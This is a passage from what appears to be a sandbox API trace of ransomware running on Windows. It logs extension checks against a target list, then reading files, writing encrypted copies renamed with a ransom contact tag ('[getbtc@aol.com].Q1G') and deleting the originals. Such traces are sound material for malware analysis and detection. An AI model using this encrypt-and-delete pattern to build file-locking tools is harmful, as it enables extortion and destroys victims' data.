(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.194] lstrlenW (lpString=".dbf") returned 4 [0263.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.195] lstrlenW (lpString=".1cd") returned 4 [0263.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.195] lstrlenW (lpString=".jpg") returned 4 [0263.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.195] lstrlenW (lpString=".doc") returned 4 [0263.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.195] lstrlenW (lpString=".docx") returned 5 [0263.195] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0263.195] lstrlenW (lpString=".pdf") returned 4 [0263.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.195] lstrlenW (lpString=".xls") returned 4 [0263.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.195] lstrlenW (lpString=".xlsx") returned 5 [0263.195] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0263.195] lstrlenW (lpString=".ppt") returned 4 [0263.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.195] lstrlenW (lpString=".zip") returned 4 [0263.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.195] lstrlenW (lpString=".rar") returned 4 [0263.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.195] lstrlenW (lpString=".bz2") returned 4 [0263.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.195] lstrlenW (lpString=".7z") returned 3 [0263.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.195] lstrlenW (lpString=".dbf") returned 4 [0263.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.195] lstrlenW (lpString=".1cd") returned 4 [0263.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.196] lstrlenW (lpString=".jpg") returned 4 [0263.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.196] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.196] lstrlenW (lpString="J0153087.WMF") returned 12 [0263.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.248] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1912) returned 1 [0263.248] CloseHandle (hObject=0x388) returned 1 [0263.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf")) returned 0x20 [0263.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.257] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.257] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0263.258] GetLastError () returned 0x0 [0263.258] ReadFile (in: hFile=0x3a0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x778, lpOverlapped=0x0) returned 1 [0263.281] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x780, lpOverlapped=0x0) returned 1 [0263.283] ReadFile (in: hFile=0x3a0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.283] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.283] SetEndOfFile (hFile=0x37c) returned 1 [0263.283] CloseHandle (hObject=0x37c) returned 1 [0263.283] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.283] SetEndOfFile (hFile=0x3a0) returned 1 [0263.287] CloseHandle (hObject=0x3a0) returned 1 [0263.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf")) returned 1 [0263.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.288] lstrlenW (lpString=".doc") returned 4 [0263.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.288] lstrlenW (lpString=".docx") returned 5 [0263.288] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.288] lstrlenW (lpString=".pdf") returned 4 [0263.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.288] lstrlenW (lpString=".xls") returned 4 [0263.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.288] lstrlenW (lpString=".xlsx") returned 5 [0263.288] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.288] lstrlenW (lpString=".ppt") returned 4 [0263.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.288] lstrlenW (lpString=".zip") returned 4 [0263.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.288] lstrlenW (lpString=".rar") returned 4 [0263.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.288] lstrlenW (lpString=".bz2") returned 4 [0263.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.288] lstrlenW (lpString=".7z") returned 3 [0263.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.288] lstrlenW (lpString=".dbf") returned 4 [0263.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.288] lstrlenW (lpString=".1cd") returned 4 [0263.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.289] lstrlenW (lpString=".jpg") returned 4 [0263.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.289] lstrlenW (lpString=".doc") returned 4 [0263.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.289] lstrlenW (lpString=".docx") returned 5 [0263.289] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.289] lstrlenW (lpString=".pdf") returned 4 [0263.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.289] lstrlenW (lpString=".xls") returned 4 [0263.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.289] lstrlenW (lpString=".xlsx") returned 5 [0263.289] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.289] lstrlenW (lpString=".ppt") returned 4 [0263.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.289] lstrlenW (lpString=".zip") returned 4 [0263.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.289] lstrlenW (lpString=".rar") returned 4 [0263.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.289] lstrlenW (lpString=".bz2") returned 4 [0263.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.289] lstrlenW (lpString=".7z") returned 3 [0263.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.289] lstrlenW (lpString=".dbf") returned 4 [0263.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.289] lstrlenW (lpString=".1cd") returned 4 [0263.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0263.289] lstrlenW (lpString=".jpg") returned 4 [0263.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.290] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.290] lstrlenW (lpString="J0153091.WMF") returned 12 [0263.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.614] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=8136) returned 1 [0263.614] CloseHandle (hObject=0x1c0) returned 1 [0263.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf")) returned 0x20 [0263.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.615] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.615] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0263.616] GetLastError () returned 0x0 [0263.616] ReadFile (in: hFile=0x1c0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1fc8, lpOverlapped=0x0) returned 1 [0263.618] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1fd0, lpOverlapped=0x0) returned 1 [0263.619] ReadFile (in: hFile=0x1c0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.619] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.619] SetEndOfFile (hFile=0x3dc) returned 1 [0263.619] CloseHandle (hObject=0x3dc) returned 1 [0263.619] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.619] SetEndOfFile (hFile=0x1c0) returned 1 [0263.622] CloseHandle (hObject=0x1c0) returned 1 [0263.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf")) returned 1 [0263.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.623] lstrlenW (lpString=".doc") returned 4 [0263.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.623] lstrlenW (lpString=".docx") returned 5 [0263.623] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0263.623] lstrlenW (lpString=".pdf") returned 4 [0263.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.623] lstrlenW (lpString=".xls") returned 4 [0263.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.623] lstrlenW (lpString=".xlsx") returned 5 [0263.623] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0263.623] lstrlenW (lpString=".ppt") returned 4 [0263.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.623] lstrlenW (lpString=".zip") returned 4 [0263.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.623] lstrlenW (lpString=".rar") returned 4 [0263.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.623] lstrlenW (lpString=".bz2") returned 4 [0263.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.623] lstrlenW (lpString=".7z") returned 3 [0263.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.623] lstrlenW (lpString=".dbf") returned 4 [0263.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.623] lstrlenW (lpString=".1cd") returned 4 [0263.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.623] lstrlenW (lpString=".jpg") returned 4 [0263.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.624] lstrlenW (lpString=".doc") returned 4 [0263.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.624] lstrlenW (lpString=".docx") returned 5 [0263.624] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0263.624] lstrlenW (lpString=".pdf") returned 4 [0263.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.624] lstrlenW (lpString=".xls") returned 4 [0263.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.624] lstrlenW (lpString=".xlsx") returned 5 [0263.624] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0263.624] lstrlenW (lpString=".ppt") returned 4 [0263.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.624] lstrlenW (lpString=".zip") returned 4 [0263.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.624] lstrlenW (lpString=".rar") returned 4 [0263.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.624] lstrlenW (lpString=".bz2") returned 4 [0263.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.624] lstrlenW (lpString=".7z") returned 3 [0263.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.624] lstrlenW (lpString=".dbf") returned 4 [0263.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.624] lstrlenW (lpString=".1cd") returned 4 [0263.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0263.624] lstrlenW (lpString=".jpg") returned 4 [0263.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.624] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.625] lstrlenW (lpString="J0157167.WMF") returned 12 [0263.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.626] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=46702) returned 1 [0263.626] CloseHandle (hObject=0x1c0) returned 1 [0263.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf")) returned 0x20 [0263.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.626] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.626] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0263.627] GetLastError () returned 0x0 [0263.627] ReadFile (in: hFile=0x1c0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xb66e, lpOverlapped=0x0) returned 1 [0263.629] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xb670, lpOverlapped=0x0) returned 1 [0263.631] ReadFile (in: hFile=0x1c0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.631] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.631] SetEndOfFile (hFile=0x3dc) returned 1 [0263.631] CloseHandle (hObject=0x3dc) returned 1 [0263.631] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.631] SetEndOfFile (hFile=0x1c0) returned 1 [0263.634] CloseHandle (hObject=0x1c0) returned 1 [0263.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf")) returned 1 [0263.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.635] lstrlenW (lpString=".doc") returned 4 [0263.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.635] lstrlenW (lpString=".docx") returned 5 [0263.635] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.635] lstrlenW (lpString=".pdf") returned 4 [0263.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.635] lstrlenW (lpString=".xls") returned 4 [0263.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.635] lstrlenW (lpString=".xlsx") returned 5 [0263.635] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.635] lstrlenW (lpString=".ppt") returned 4 [0263.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.635] lstrlenW (lpString=".zip") returned 4 [0263.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.635] lstrlenW (lpString=".rar") returned 4 [0263.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.635] lstrlenW (lpString=".bz2") returned 4 [0263.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.635] lstrlenW (lpString=".7z") returned 3 [0263.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.635] lstrlenW (lpString=".dbf") returned 4 [0263.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.635] lstrlenW (lpString=".1cd") returned 4 [0263.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.636] lstrlenW (lpString=".jpg") returned 4 [0263.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0263.636] lstrlenW (lpString="C:\\Program Files\\Microsoft 